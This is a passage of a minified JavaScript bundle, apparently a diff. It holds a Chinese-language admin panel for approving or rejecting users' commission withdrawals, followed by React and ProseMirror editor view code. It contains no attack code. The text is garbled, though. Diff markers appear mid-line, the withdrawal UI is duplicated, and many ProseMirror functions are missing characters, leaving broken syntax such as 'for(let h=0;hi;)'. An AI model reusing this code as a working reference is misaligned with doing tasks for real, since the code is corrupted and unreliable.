h-4 mr-1"}),"批准"]}),s.jsxs(te,{size:"sm",variant:"outline",onClick:()=>Z($.id),disabled:v===$.id,className:"border-red-500/50 text-red-400 hover:bg-red-500/10 bg-transparent",children:[s.jsx(ir,{className:"w-4 h-4 mr-1"}),"拒绝"]})]}),($.status==="success"||$.status==="completed")&&$.transactionId&&s.jsx("span",{className:"text-xs text-gray-500 font-mono",children:$.transactionId})]})]},$.id))})]})}),s.jsx(is,{page:f,totalPages:D,total:N,pageSize:g,onPageChange:m,onPageSizeChange:$=>{y($),m(1)}})]})})}),s.jsx(Dt,{open:!!C,onOpenChange:$=>!$&&fe(),children:s.jsxs(At,{className:"bg-[#0f2137] border-gray-700 text-white max-w-md",children:[s.jsx(Lt,{children:s.jsx(_t,{className:"text-white",children:"拒绝提现"})}),s.jsxs("div",{className:"space-y-4",children:[s.jsx("p",{className:"text-gray-400 text-sm",children:"拒绝后该笔提现金额将返还用户余额。"}),s.jsxs("div",{children:[s.jsx("label",{className:"text-sm text-gray-400 block mb-2",children:"拒绝原因(必填)"}),s.jsx("div",{className:"form-input",children:s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white placeholder:text-gray-500",placeholder:"请输入拒绝原因",value:T,onChange:$=>I($.target.value)})})]})]}),s.jsxs(on,{children:[s.jsx(te,{variant:"outline",className:"border-gray-600 text-gray-300",onClick:fe,disabled:O,children:"取消"}),s.jsx(te,{className:"bg-red-600 hover:bg-red-700 text-white",onClick:ne,disabled:O||!T.trim(),children:O?"提交中...":"确认拒绝"})]})]})})]})}var Bm={exports:{}},Vm={};/** +确认已核实用户账户并完成打款?`))return}else if(!confirm("确认已完成打款?批准后将更新用户提现记录。"))return;k($);try{const oe=await zt("/api/admin/withdrawals",{id:$,action:"approve"});oe!=null&&oe.success?R():ie.error("操作失败: "+((oe==null?void 0:oe.error)??""))}catch{ie.error("操作失败")}finally{k(null)}}function Z($){E($),I("")}async function ne(){const $=C;if(!$)return;const H=T.trim();if(!H){ie.error("请填写拒绝原因");return}L(!0);try{const oe=await zt("/api/admin/withdrawals",{id:$,action:"reject",errorMessage:H});oe!=null&&oe.success?(ie.success("已拒绝该提现申请"),E(null),I(""),R()):ie.error("操作失败: "+((oe==null?void 0:oe.error)??""))}catch{ie.error("操作失败")}finally{L(!1)}}function fe(){C&&ie.info("已取消操作"),E(null),I("")}function xe($){switch($){case"pending":return s.jsx(We,{className:"bg-orange-500/20 text-orange-400 hover:bg-orange-500/20 border-0",children:"待处理"});case"pending_confirm":return s.jsx(We,{className:"bg-orange-500/20 text-orange-400 hover:bg-orange-500/20 border-0",children:"待用户确认"});case"processing":return s.jsx(We,{className:"bg-blue-500/20 text-blue-400 hover:bg-blue-500/20 border-0",children:"已审批等待打款"});case"success":case"completed":return s.jsx(We,{className:"bg-green-500/20 text-green-400 hover:bg-green-500/20 border-0",children:"已完成"});case"failed":case"rejected":return s.jsx(We,{className:"bg-red-500/20 text-red-400 hover:bg-red-500/20 border-0",children:"已拒绝"});default:return s.jsx(We,{className:"bg-gray-500/20 text-gray-400 border-0",children:$})}}return s.jsxs("div",{className:"p-8 w-full",children:[o&&s.jsxs("div",{className:"mb-4 px-4 py-3 rounded-lg bg-red-500/20 border border-red-500/50 text-red-400 text-sm flex items-center justify-between",children:[s.jsx("span",{children:o}),s.jsx("button",{type:"button",onClick:()=>c(null),className:"hover:text-red-300",children:"×"})]}),s.jsxs("div",{className:"flex justify-between items-start mb-8",children:[s.jsxs("div",{children:[s.jsx("h1",{className:"text-2xl font-bold text-white",children:"分账提现管理"}),s.jsx("p",{className:"text-gray-400 mt-1",children:"管理用户分销收益的提现申请"})]}),s.jsxs(te,{variant:"outline",onClick:R,disabled:a,className:"border-gray-600 text-gray-300 hover:bg-gray-700/50 bg-transparent",children:[s.jsx(qe,{className:`w-4 h-4 mr-2 ${a?"animate-spin":""}`}),"刷新"]})]}),s.jsx(Ce,{className:"bg-gradient-to-r from-[#38bdac]/10 to-[#0f2137] border-[#38bdac]/30 mb-6",children:s.jsx(Ee,{className:"p-4",children:s.jsxs("div",{className:"flex items-start gap-3",children:[s.jsx(dh,{className:"w-5 h-5 text-[#38bdac] mt-0.5"}),s.jsxs("div",{children:[s.jsx("h3",{className:"text-white font-medium mb-2",children:"自动分账规则"}),s.jsxs("div",{className:"text-sm text-gray-400 space-y-1",children:[s.jsxs("p",{children:["• ",s.jsx("span",{className:"text-[#38bdac]",children:"分销比例"}),":推广者获得订单金额的"," ",s.jsx("span",{className:"text-white font-medium",children:"90%"})]}),s.jsxs("p",{children:["• ",s.jsx("span",{className:"text-[#38bdac]",children:"结算方式"}),":用户付款后,分销收益自动计入推广者账户"]}),s.jsxs("p",{children:["• ",s.jsx("span",{className:"text-[#38bdac]",children:"提现方式"}),":用户在小程序端点击提现,系统自动转账到微信零钱"]}),s.jsxs("p",{children:["• ",s.jsx("span",{className:"text-[#38bdac]",children:"审批流程"}),":待处理的提现需管理员手动确认打款后批准"]})]})]})]})})}),s.jsxs("div",{className:"grid grid-cols-4 gap-4 mb-6",children:[s.jsx(Ce,{className:"bg-[#0f2137] border-gray-700/50",children:s.jsxs(Ee,{className:"p-4 text-center",children:[s.jsx("div",{className:"text-3xl font-bold text-[#38bdac]",children:n.total}),s.jsx("div",{className:"text-sm text-gray-400",children:"总申请"})]})}),s.jsx(Ce,{className:"bg-[#0f2137] border-gray-700/50",children:s.jsxs(Ee,{className:"p-4 text-center",children:[s.jsx("div",{className:"text-3xl font-bold text-orange-400",children:n.pendingCount}),s.jsx("div",{className:"text-sm text-gray-400",children:"待处理"}),s.jsxs("div",{className:"text-xs text-orange-400 mt-1",children:["¥",n.pendingAmount.toFixed(2)]})]})}),s.jsx(Ce,{className:"bg-[#0f2137] border-gray-700/50",children:s.jsxs(Ee,{className:"p-4 text-center",children:[s.jsx("div",{className:"text-3xl font-bold text-green-400",children:n.successCount}),s.jsx("div",{className:"text-sm text-gray-400",children:"已完成"}),s.jsxs("div",{className:"text-xs text-green-400 mt-1",children:["¥",n.successAmount.toFixed(2)]})]})}),s.jsx(Ce,{className:"bg-[#0f2137] border-gray-700/50",children:s.jsxs(Ee,{className:"p-4 text-center",children:[s.jsx("div",{className:"text-3xl font-bold text-red-400",children:n.failedCount}),s.jsx("div",{className:"text-sm text-gray-400",children:"已拒绝"})]})})]}),s.jsx("div",{className:"flex gap-2 mb-4",children:["all","pending","success","failed"].map($=>s.jsx(te,{variant:u===$?"default":"outline",size:"sm",onClick:()=>h($),className:u===$?"bg-[#38bdac] hover:bg-[#2da396] text-white":"border-gray-600 text-gray-300 hover:bg-gray-700/50 bg-transparent",children:$==="all"?"全部":$==="pending"?"待处理":$==="success"?"已完成":"已拒绝"},$))}),s.jsx(Ce,{className:"bg-[#0f2137] border-gray-700/50 shadow-xl",children:s.jsx(Ee,{className:"p-0",children:a?s.jsxs("div",{className:"flex items-center justify-center py-12",children:[s.jsx(qe,{className:"w-6 h-6 text-[#38bdac] animate-spin"}),s.jsx("span",{className:"ml-2 text-gray-400",children:"加载中..."})]}):t.length===0?s.jsxs("div",{className:"text-center py-12",children:[s.jsx(jl,{className:"w-12 h-12 text-gray-600 mx-auto mb-3"}),s.jsx("p",{className:"text-gray-500",children:"暂无提现记录"})]}):s.jsxs(s.Fragment,{children:[s.jsx("div",{className:"overflow-x-auto",children:s.jsxs("table",{className:"w-full text-sm",children:[s.jsx("thead",{children:s.jsxs("tr",{className:"bg-[#0a1628] text-gray-400",children:[s.jsx("th",{className:"p-4 text-left font-medium",children:"申请时间"}),s.jsx("th",{className:"p-4 text-left font-medium",children:"用户"}),s.jsx("th",{className:"p-4 text-left font-medium",children:"提现金额"}),s.jsx("th",{className:"p-4 text-left font-medium",children:"用户佣金信息"}),s.jsx("th",{className:"p-4 text-left font-medium",children:"状态"}),s.jsx("th",{className:"p-4 text-left font-medium",children:"处理时间"}),s.jsx("th",{className:"p-4 text-left font-medium",children:"确认收款"}),s.jsx("th",{className:"p-4 text-right font-medium",children:"操作"})]})}),s.jsx("tbody",{className:"divide-y divide-gray-700/50",children:t.map($=>s.jsxs("tr",{className:"hover:bg-[#0a1628] transition-colors",children:[s.jsx("td",{className:"p-4 text-gray-400",children:new Date($.createdAt??"").toLocaleString()}),s.jsx("td",{className:"p-4",children:s.jsxs("div",{className:"flex items-center gap-2",children:[$.userAvatar?s.jsx("img",{src:$.userAvatar,alt:$.userName??"",className:"w-8 h-8 rounded-full object-cover"}):s.jsx("div",{className:"w-8 h-8 rounded-full bg-[#38bdac]/20 flex items-center justify-center text-sm text-[#38bdac]",children:($.userName??"?").charAt(0)}),s.jsxs("div",{children:[s.jsx("p",{className:"font-medium text-white",children:$.userName??"未知"}),s.jsx("p",{className:"text-xs text-gray-500",children:$.userPhone??$.referralCode??($.userId??"").slice(0,10)})]})]})}),s.jsx("td",{className:"p-4",children:s.jsxs("span",{className:"font-bold text-orange-400",children:["¥",Number($.amount).toFixed(2)]})}),s.jsx("td",{className:"p-4",children:$.userCommissionInfo?s.jsxs("div",{className:"text-xs space-y-1",children:[s.jsxs("div",{className:"flex justify-between gap-4",children:[s.jsx("span",{className:"text-gray-500",children:"累计佣金:"}),s.jsxs("span",{className:"text-[#38bdac] font-medium",children:["¥",$.userCommissionInfo.totalCommission.toFixed(2)]})]}),s.jsxs("div",{className:"flex justify-between gap-4",children:[s.jsx("span",{className:"text-gray-500",children:"已提现:"}),s.jsxs("span",{className:"text-gray-400",children:["¥",$.userCommissionInfo.withdrawnEarnings.toFixed(2)]})]}),s.jsxs("div",{className:"flex justify-between gap-4",children:[s.jsx("span",{className:"text-gray-500",children:"待审核:"}),s.jsxs("span",{className:"text-orange-400",children:["¥",$.userCommissionInfo.pendingWithdrawals.toFixed(2)]})]}),s.jsxs("div",{className:"flex justify-between gap-4 pt-1 border-t border-gray-700/30",children:[s.jsx("span",{className:"text-gray-500",children:"审核后余额:"}),s.jsxs("span",{className:$.userCommissionInfo.availableAfterThis>=0?"text-green-400 font-medium":"text-red-400 font-medium",children:["¥",$.userCommissionInfo.availableAfterThis.toFixed(2)]})]})]}):s.jsx("span",{className:"text-gray-500 text-xs",children:"暂无数据"})}),s.jsxs("td",{className:"p-4",children:[xe($.status),$.errorMessage&&s.jsx("p",{className:"text-xs text-red-400 mt-1",children:$.errorMessage})]}),s.jsx("td",{className:"p-4 text-gray-400",children:$.processedAt?new Date($.processedAt).toLocaleString():"-"}),s.jsx("td",{className:"p-4 text-gray-400",children:$.userConfirmedAt?s.jsxs("span",{className:"text-green-400",title:$.userConfirmedAt,children:["已确认 ",new Date($.userConfirmedAt).toLocaleString()]}):"-"}),s.jsxs("td",{className:"p-4 text-right",children:[($.status==="pending"||$.status==="pending_confirm")&&s.jsxs("div",{className:"flex items-center justify-end gap-2",children:[s.jsxs(te,{size:"sm",onClick:()=>z($.id),disabled:v===$.id,className:"bg-green-600 hover:bg-green-700 text-white",children:[s.jsx(ff,{className:"w-4 h-4 mr-1"}),"批准"]}),s.jsxs(te,{size:"sm",variant:"outline",onClick:()=>Z($.id),disabled:v===$.id,className:"border-red-500/50 text-red-400 hover:bg-red-500/10 bg-transparent",children:[s.jsx(ir,{className:"w-4 h-4 mr-1"}),"拒绝"]})]}),($.status==="success"||$.status==="completed")&&$.transactionId&&s.jsx("span",{className:"text-xs text-gray-500 font-mono",children:$.transactionId})]})]},$.id))})]})}),s.jsx(is,{page:f,totalPages:D,total:N,pageSize:g,onPageChange:m,onPageSizeChange:$=>{y($),m(1)}})]})})}),s.jsx(Dt,{open:!!C,onOpenChange:$=>!$&&fe(),children:s.jsxs(At,{className:"bg-[#0f2137] border-gray-700 text-white max-w-md",children:[s.jsx(Lt,{children:s.jsx(_t,{className:"text-white",children:"拒绝提现"})}),s.jsxs("div",{className:"space-y-4",children:[s.jsx("p",{className:"text-gray-400 text-sm",children:"拒绝后该笔提现金额将返还用户余额。"}),s.jsxs("div",{children:[s.jsx("label",{className:"text-sm text-gray-400 block mb-2",children:"拒绝原因(必填)"}),s.jsx("div",{className:"form-input",children:s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white placeholder:text-gray-500",placeholder:"请输入拒绝原因",value:T,onChange:$=>I($.target.value)})})]})]}),s.jsxs(on,{children:[s.jsx(te,{variant:"outline",className:"border-gray-600 text-gray-300",onClick:fe,disabled:O,children:"取消"}),s.jsx(te,{className:"bg-red-600 hover:bg-red-700 text-white",onClick:ne,disabled:O||!T.trim(),children:O?"提交中...":"确认拒绝"})]})]})})]})}var Bm={exports:{}},Vm={};/** * @license React * use-sync-external-store-shim.production.js * @@ -609,10 +609,10 @@ For more information, see https://radix-ui.com/primitives/docs/components/${e.do `),m&&N==y.nodeValue.length)for(let w=y,v;w;w=w.parentNode){if(v=w.nextSibling){v.nodeName=="BR"&&(c=u={node:v.parentNode,offset:Yn(v)+1});break}let k=w.pmViewDesc;if(k&&k.node&&k.node.isBlock)break}}else{let w=y.childNodes[N-1];m=w&&(w.nodeName=="BR"||w.contentEditable=="false")}}if(ls&&f.focusNode&&f.focusNode!=u.node&&f.focusNode.nodeType==1){let y=f.focusNode.childNodes[f.focusOffset];y&&y.contentEditable=="false"&&(a=!0)}if(!(a||m&&ur)&&No(c.node,c.offset,f.anchorNode,f.anchorOffset)&&No(u.node,u.offset,f.focusNode,f.focusOffset))return;let g=!1;if((h.extend||e==n)&&!(m&&ls)){h.collapse(c.node,c.offset);try{e!=n&&h.extend(u.node,u.offset),g=!0}catch{}}if(!g){if(e>n){let N=c;c=u,u=N}let y=document.createRange();y.setEnd(u.node,u.offset),y.setStart(c.node,c.offset),h.removeAllRanges(),h.addRange(y)}}ignoreMutation(e){return!this.contentDOM&&e.type!="selection"}get contentLost(){return this.contentDOM&&this.contentDOM!=this.dom&&!this.dom.contains(this.contentDOM)}markDirty(e,n){for(let r=0,a=0;a=r:er){let c=r+i.border,u=o-i.border;if(e>=c&&n<=u){this.dirty=e==r||n==o?so:$1,e==c&&n==u&&(i.contentLost||i.dom.parentNode!=this.contentDOM)?i.dirty=qs:i.markDirty(e-c,n-c);return}else i.dirty=i.dom==i.contentDOM&&i.dom.parentNode==this.contentDOM&&!i.children.length?so:qs}r=o}this.dirty=so}markParentsDirty(){let e=1;for(let n=this.parent;n;n=n.parent,e++){let r=e==1?so:$1;n.dirty{if(!i)return a;if(i.parent)return i.parent.posBeforeChild(i)})),!n.type.spec.raw){if(o.nodeType!=1){let c=document.createElement("span");c.appendChild(o),o=c}o.contentEditable="false",o.classList.add("ProseMirror-widget")}super(e,[],o,null),this.widget=n,this.widget=n,i=this}matchesWidget(e){return this.dirty==cs&&e.type.eq(this.widget.type)}parseRule(){return{ignore:!0}}stopEvent(e){let n=this.widget.spec.stopEvent;return n?n(e):!1}ignoreMutation(e){return e.type!="selection"||this.widget.spec.ignoreSelection}destroy(){this.widget.type.destroy(this.dom),super.destroy()}get domAtom(){return!0}get ignoreForSelection(){return!!this.widget.type.spec.relaxedSide}get side(){return this.widget.type.side}}class wD extends Nd{constructor(e,n,r,a){super(e,[],n,null),this.textDOM=r,this.text=a}get size(){return this.text.length}localPosFromDOM(e,n){return e!=this.textDOM?this.posAtStart+(n?this.size:0):this.posAtStart+n}domFromPos(e){return{node:this.textDOM,offset:e}}ignoreMutation(e){return e.type==="characterData"&&e.target.nodeValue==e.oldValue}}class wo extends Nd{constructor(e,n,r,a,i){super(e,[],r,a),this.mark=n,this.spec=i}static create(e,n,r,a){let i=a.nodeViews[n.type.name],o=i&&i(n,a,r);return(!o||!o.dom)&&(o=Mo.renderSpec(document,n.type.spec.toDOM(n,r),null,n.attrs)),new wo(e,n,o.dom,o.contentDOM||o.dom,o)}parseRule(){return this.dirty&qs||this.mark.type.spec.reparseInView?null:{mark:this.mark.type.name,attrs:this.mark.attrs,contentElement:this.contentDOM}}matchesMark(e){return this.dirty!=qs&&this.mark.eq(e)}markDirty(e,n){if(super.markDirty(e,n),this.dirty!=cs){let r=this.parent;for(;!r.node;)r=r.parent;r.dirty0&&(i=tx(i,0,e,r));for(let c=0;c{if(!u)return o;if(u.parent)return u.parent.posBeforeChild(u)},r,a),f=h&&h.dom,m=h&&h.contentDOM;if(n.isText){if(!f)f=document.createTextNode(n.text);else if(f.nodeType!=3)throw new RangeError("Text must be rendered as a DOM text node")}else f||({dom:f,contentDOM:m}=Mo.renderSpec(document,n.type.spec.toDOM(n),null,n.attrs));!m&&!n.isText&&f.nodeName!="BR"&&(f.hasAttribute("contenteditable")||(f.contentEditable="false"),n.type.spec.draggable&&(f.draggable=!0));let g=f;return f=KS(f,r,n),h?u=new jD(e,n,r,a,f,m||null,g,h,i,o+1):n.isText?new Tf(e,n,r,a,f,g,i):new gi(e,n,r,a,f,m||null,g,i,o+1)}parseRule(){if(this.node.type.spec.reparseInView)return null;let e={node:this.node.type.name,attrs:this.node.attrs};if(this.node.type.whitespace=="pre"&&(e.preserveWhitespace="full"),!this.contentDOM)e.getContent=()=>this.node.content;else if(!this.contentLost)e.contentElement=this.contentDOM;else{for(let n=this.children.length-1;n>=0;n--){let r=this.children[n];if(this.dom.contains(r.dom.parentNode)){e.contentElement=r.dom.parentNode;break}}e.contentElement||(e.getContent=()=>be.empty)}return e}matchesNode(e,n,r){return this.dirty==cs&&e.eq(this.node)&&Nh(n,this.outerDeco)&&r.eq(this.innerDeco)}get size(){return this.node.nodeSize}get border(){return this.node.isLeaf?0:1}updateChildren(e,n){let r=this.node.inlineContent,a=n,i=e.composing?this.localCompositionInfo(e,n):null,o=i&&i.pos>-1?i:null,c=i&&i.pos<0,u=new SD(this,o&&o.node,e);TD(this.node,this.innerDeco,(h,f,m)=>{h.spec.marks?u.syncToMarks(h.spec.marks,r,e,f):h.type.side>=0&&!m&&u.syncToMarks(f==this.node.childCount?Ft.none:this.node.child(f).marks,r,e,f),u.placeWidget(h,e,a)},(h,f,m,g)=>{u.syncToMarks(h.marks,r,e,g);let y;u.findNodeMatch(h,f,m,g)||c&&e.state.selection.from>a&&e.state.selection.to-1&&u.updateNodeAt(h,f,m,y,e)||u.updateNextNode(h,f,m,e,g,a)||u.addNode(h,f,m,e,a),a+=h.nodeSize}),u.syncToMarks([],r,e,0),this.node.isTextblock&&u.addTextblockHacks(),u.destroyRest(),(u.changed||this.dirty==so)&&(o&&this.protectLocalComposition(e,o),WS(this.contentDOM,this.children,e),El&&MD(this.dom))}localCompositionInfo(e,n){let{from:r,to:a}=e.state.selection;if(!(e.state.selection instanceof Ze)||rn+this.node.content.size)return null;let i=e.input.compositionNode;if(!i||!this.dom.contains(i.parentNode))return null;if(this.node.inlineContent){let o=i.nodeValue,c=AD(this.node.content,o,r-n,a-n);return c<0?null:{node:i,pos:c,text:o}}else return{node:i,pos:-1,text:""}}protectLocalComposition(e,{node:n,pos:r,text:a}){if(this.getDesc(n))return;let i=n;for(;i.parentNode!=this.contentDOM;i=i.parentNode){for(;i.previousSibling;)i.parentNode.removeChild(i.previousSibling);for(;i.nextSibling;)i.parentNode.removeChild(i.nextSibling);i.pmViewDesc&&(i.pmViewDesc=void 0)}let o=new wD(this,i,n,a);e.input.compositionNodes.push(o),this.children=tx(this.children,r,r+a.length,e,o)}update(e,n,r,a){return this.dirty==qs||!e.sameMarkup(this.node)?!1:(this.updateInner(e,n,r,a),!0)}updateInner(e,n,r,a){this.updateOuterDeco(n),this.node=e,this.innerDeco=r,this.contentDOM&&this.updateChildren(a,this.posAtStart),this.dirty=cs}updateOuterDeco(e){if(Nh(e,this.outerDeco))return;let n=this.nodeDOM.nodeType!=1,r=this.dom;this.dom=US(this.dom,this.nodeDOM,ex(this.outerDeco,this.node,n),ex(e,this.node,n)),this.dom!=r&&(r.pmViewDesc=void 0,this.dom.pmViewDesc=this),this.outerDeco=e}selectNode(){this.nodeDOM.nodeType==1&&(this.nodeDOM.classList.add("ProseMirror-selectednode"),(this.contentDOM||!this.node.type.spec.draggable)&&(this.nodeDOM.draggable=!0))}deselectNode(){this.nodeDOM.nodeType==1&&(this.nodeDOM.classList.remove("ProseMirror-selectednode"),(this.contentDOM||!this.node.type.spec.draggable)&&this.nodeDOM.removeAttribute("draggable"))}get domAtom(){return this.node.isAtom}}function F1(t,e,n,r,a){KS(r,e,t);let i=new gi(void 0,t,e,n,r,r,r,a,0);return i.contentDOM&&i.updateChildren(a,0),i}class Tf extends gi{constructor(e,n,r,a,i,o,c){super(e,n,r,a,i,null,o,c,0)}parseRule(){let e=this.nodeDOM.parentNode;for(;e&&e!=this.dom&&!e.pmIsDeco;)e=e.parentNode;return{skip:e||!0}}update(e,n,r,a){return this.dirty==qs||this.dirty!=cs&&!this.inParent()||!e.sameMarkup(this.node)?!1:(this.updateOuterDeco(n),(this.dirty!=cs||e.text!=this.node.text)&&e.text!=this.nodeDOM.nodeValue&&(this.nodeDOM.nodeValue=e.text,a.trackWrites==this.nodeDOM&&(a.trackWrites=null)),this.node=e,this.dirty=cs,!0)}inParent(){let e=this.parent.contentDOM;for(let n=this.nodeDOM;n;n=n.parentNode)if(n==e)return!0;return!1}domFromPos(e){return{node:this.nodeDOM,offset:e}}localPosFromDOM(e,n,r){return e==this.nodeDOM?this.posAtStart+Math.min(n,this.node.text.length):super.localPosFromDOM(e,n,r)}ignoreMutation(e){return e.type!="characterData"&&e.type!="selection"}slice(e,n,r){let a=this.node.cut(e,n),i=document.createTextNode(a.text);return new Tf(this.parent,a,this.outerDeco,this.innerDeco,i,i,r)}markDirty(e,n){super.markDirty(e,n),this.dom!=this.nodeDOM&&(e==0||n==this.nodeDOM.nodeValue.length)&&(this.dirty=qs)}get domAtom(){return!1}isText(e){return this.node.text==e}}class HS extends Nd{parseRule(){return{ignore:!0}}matchesHack(e){return this.dirty==cs&&this.dom.nodeName==e}get domAtom(){return!0}get ignoreForCoords(){return this.dom.nodeName=="IMG"}}class jD extends gi{constructor(e,n,r,a,i,o,c,u,h,f){super(e,n,r,a,i,o,c,h,f),this.spec=u}update(e,n,r,a){if(this.dirty==qs)return!1;if(this.spec.update&&(this.node.type==e.type||this.spec.multiType)){let i=this.spec.update(e,n,r);return i&&this.updateInner(e,n,r,a),i}else return!this.contentDOM&&!e.isLeaf?!1:super.update(e,n,r,a)}selectNode(){this.spec.selectNode?this.spec.selectNode():super.selectNode()}deselectNode(){this.spec.deselectNode?this.spec.deselectNode():super.deselectNode()}setSelection(e,n,r,a){this.spec.setSelection?this.spec.setSelection(e,n,r.root):super.setSelection(e,n,r,a)}destroy(){this.spec.destroy&&this.spec.destroy(),super.destroy()}stopEvent(e){return this.spec.stopEvent?this.spec.stopEvent(e):!1}ignoreMutation(e){return this.spec.ignoreMutation?this.spec.ignoreMutation(e):super.ignoreMutation(e)}}function WS(t,e,n){let r=t.firstChild,a=!1;for(let i=0;i>1,c=Math.min(o,e.length);for(;i-1)u>this.index&&(this.changed=!0,this.destroyBetween(this.index,u)),this.top=this.top.children[this.index];else{let f=wo.create(this.top,e[o],n,r);this.top.children.splice(this.index,0,f),this.top=f,this.changed=!0}this.index=0,o++}}findNodeMatch(e,n,r,a){let i=-1,o;if(a>=this.preMatch.index&&(o=this.preMatch.matches[a-this.preMatch.index]).parent==this.top&&o.matchesNode(e,n,r))i=this.top.children.indexOf(o,this.index);else for(let c=this.index,u=Math.min(this.top.children.length,c+5);c0;){let c;for(;;)if(r){let h=n.children[r-1];if(h instanceof wo)n=h,r=h.children.length;else{c=h,r--;break}}else{if(n==e)break e;r=n.parent.children.indexOf(n),n=n.parent}let u=c.node;if(u){if(u!=t.child(a-1))break;--a,i.set(c,a),o.push(c)}}return{index:a,matched:i,matches:o.reverse()}}function ED(t,e){return t.type.side-e.type.side}function TD(t,e,n,r){let a=e.locals(t),i=0;if(a.length==0){for(let h=0;hi;)c.push(a[o++]);let N=i+g.nodeSize;if(g.isText){let v=N;o!v.inline):c.slice();r(g,w,e.forChild(i,g),y),i=N}}function MD(t){if(t.nodeName=="UL"||t.nodeName=="OL"){let e=t.style.cssText;t.style.cssText=e+"; list-style: square !important",window.getComputedStyle(t).listStyle,t.style.cssText=e}}function AD(t,e,n,r){for(let a=0,i=0;a=n){if(i>=r&&u.slice(r-e.length-c,r-c)==e)return r-e.length;let h=c=0&&h+e.length+c>=n)return c+h;if(n==r&&u.length>=r+e.length-c&&u.slice(r-c,r-c+e.length)==e)return r}}return-1}function tx(t,e,n,r,a){let i=[];for(let o=0,c=0;o=n||f<=e?i.push(u):(hn&&i.push(u.slice(n-h,u.size,r)))}return i}function g0(t,e=null){let n=t.domSelectionRange(),r=t.state.doc;if(!n.focusNode)return null;let a=t.docView.nearestDesc(n.focusNode),i=a&&a.size==0,o=t.docView.posFromDOM(n.focusNode,n.focusOffset,1);if(o<0)return null;let c=r.resolve(o),u,h;if(Ef(n)){for(u=o;a&&!a.node;)a=a.parent;let m=a.node;if(a&&m.isAtom&&Xe.isSelectable(m)&&a.parent&&!(m.isInline&&rD(n.focusNode,n.focusOffset,a.dom))){let g=a.posBefore;h=new Xe(o==g?c:r.resolve(g))}}else{if(n instanceof t.dom.ownerDocument.defaultView.Selection&&n.rangeCount>1){let m=o,g=o;for(let y=0;y{(n.anchorNode!=r||n.anchorOffset!=a)&&(e.removeEventListener("selectionchange",t.input.hideSelectionGuard),setTimeout(()=>{(!qS(t)||t.state.selection.visible)&&t.dom.classList.remove("ProseMirror-hideselection")},20))})}function RD(t){let e=t.domSelection();if(!e)return;let n=t.cursorWrapper.dom,r=n.nodeName=="IMG";r?e.collapse(n.parentNode,Yn(n)+1):e.collapse(n,0),!r&&!t.state.selection.visible&&Ar&&mi<=11&&(n.disabled=!0,n.disabled=!1)}function GS(t,e){if(e instanceof Xe){let n=t.docView.descAt(e.from);n!=t.lastSelectedViewDesc&&(U1(t),n&&n.selectNode(),t.lastSelectedViewDesc=n)}else U1(t)}function U1(t){t.lastSelectedViewDesc&&(t.lastSelectedViewDesc.parent&&t.lastSelectedViewDesc.deselectNode(),t.lastSelectedViewDesc=void 0)}function x0(t,e,n,r){return t.someProp("createSelectionBetween",a=>a(t,e,n))||Ze.between(e,n,r)}function K1(t){return t.editable&&!t.hasFocus()?!1:JS(t)}function JS(t){let e=t.domSelectionRange();if(!e.anchorNode)return!1;try{return t.dom.contains(e.anchorNode.nodeType==3?e.anchorNode.parentNode:e.anchorNode)&&(t.editable||t.dom.contains(e.focusNode.nodeType==3?e.focusNode.parentNode:e.focusNode))}catch{return!1}}function PD(t){let e=t.docView.domFromPos(t.state.selection.anchor,0),n=t.domSelectionRange();return No(e.node,e.offset,n.anchorNode,n.anchorOffset)}function nx(t,e){let{$anchor:n,$head:r}=t.selection,a=e>0?n.max(r):n.min(r),i=a.parent.inlineContent?a.depth?t.doc.resolve(e>0?a.after():a.before()):null:a;return i&&rt.findFrom(i,e)}function ti(t,e){return t.dispatch(t.state.tr.setSelection(e).scrollIntoView()),!0}function q1(t,e,n){let r=t.state.selection;if(r instanceof Ze)if(n.indexOf("s")>-1){let{$head:a}=r,i=a.textOffset?null:e<0?a.nodeBefore:a.nodeAfter;if(!i||i.isText||!i.isLeaf)return!1;let o=t.state.doc.resolve(a.pos+i.nodeSize*(e<0?-1:1));return ti(t,new Ze(r.$anchor,o))}else if(r.empty){if(t.endOfTextblock(e>0?"forward":"backward")){let a=nx(t.state,e);return a&&a instanceof Xe?ti(t,a):!1}else if(!(ss&&n.indexOf("m")>-1)){let a=r.$head,i=a.textOffset?null:e<0?a.nodeBefore:a.nodeAfter,o;if(!i||i.isText)return!1;let c=e<0?a.pos-i.nodeSize:a.pos;return i.isAtom||(o=t.docView.descAt(c))&&!o.contentDOM?Xe.isSelectable(i)?ti(t,new Xe(e<0?t.state.doc.resolve(a.pos-i.nodeSize):a)):vd?ti(t,new Ze(t.state.doc.resolve(e<0?c:c+i.nodeSize))):!1:!1}}else return!1;else{if(r instanceof Xe&&r.node.isInline)return ti(t,new Ze(e>0?r.$to:r.$from));{let a=nx(t.state,e);return a?ti(t,a):!1}}}function wh(t){return t.nodeType==3?t.nodeValue.length:t.childNodes.length}function Hc(t,e){let n=t.pmViewDesc;return n&&n.size==0&&(e<0||t.nextSibling||t.nodeName!="BR")}function ll(t,e){return e<0?OD(t):DD(t)}function OD(t){let e=t.domSelectionRange(),n=e.focusNode,r=e.focusOffset;if(!n)return;let a,i,o=!1;for(ls&&n.nodeType==1&&r0){if(n.nodeType!=1)break;{let c=n.childNodes[r-1];if(Hc(c,-1))a=n,i=--r;else if(c.nodeType==3)n=c,r=n.nodeValue.length;else break}}else{if(YS(n))break;{let c=n.previousSibling;for(;c&&Hc(c,-1);)a=n.parentNode,i=Yn(c),c=c.previousSibling;if(c)n=c,r=wh(n);else{if(n=n.parentNode,n==t.dom)break;r=0}}}o?rx(t,n,r):a&&rx(t,a,i)}function DD(t){let e=t.domSelectionRange(),n=e.focusNode,r=e.focusOffset;if(!n)return;let a=wh(n),i,o;for(;;)if(r{t.state==a&&ka(t)},50)}function G1(t,e){let n=t.state.doc.resolve(e);if(!(Xn||DS)&&n.parent.inlineContent){let a=t.coordsAtPos(e);if(e>n.start()){let i=t.coordsAtPos(e-1),o=(i.top+i.bottom)/2;if(o>a.top&&o1)return i.lefta.top&&o1)return i.left>a.left?"ltr":"rtl"}}return getComputedStyle(t.dom).direction=="rtl"?"rtl":"ltr"}function J1(t,e,n){let r=t.state.selection;if(r instanceof Ze&&!r.empty||n.indexOf("s")>-1||ss&&n.indexOf("m")>-1)return!1;let{$from:a,$to:i}=r;if(!a.parent.inlineContent||t.endOfTextblock(e<0?"up":"down")){let o=nx(t.state,e);if(o&&o instanceof Xe)return ti(t,o)}if(!a.parent.inlineContent){let o=e<0?a:i,c=r instanceof Vr?rt.near(o,e):rt.findFrom(o,e);return 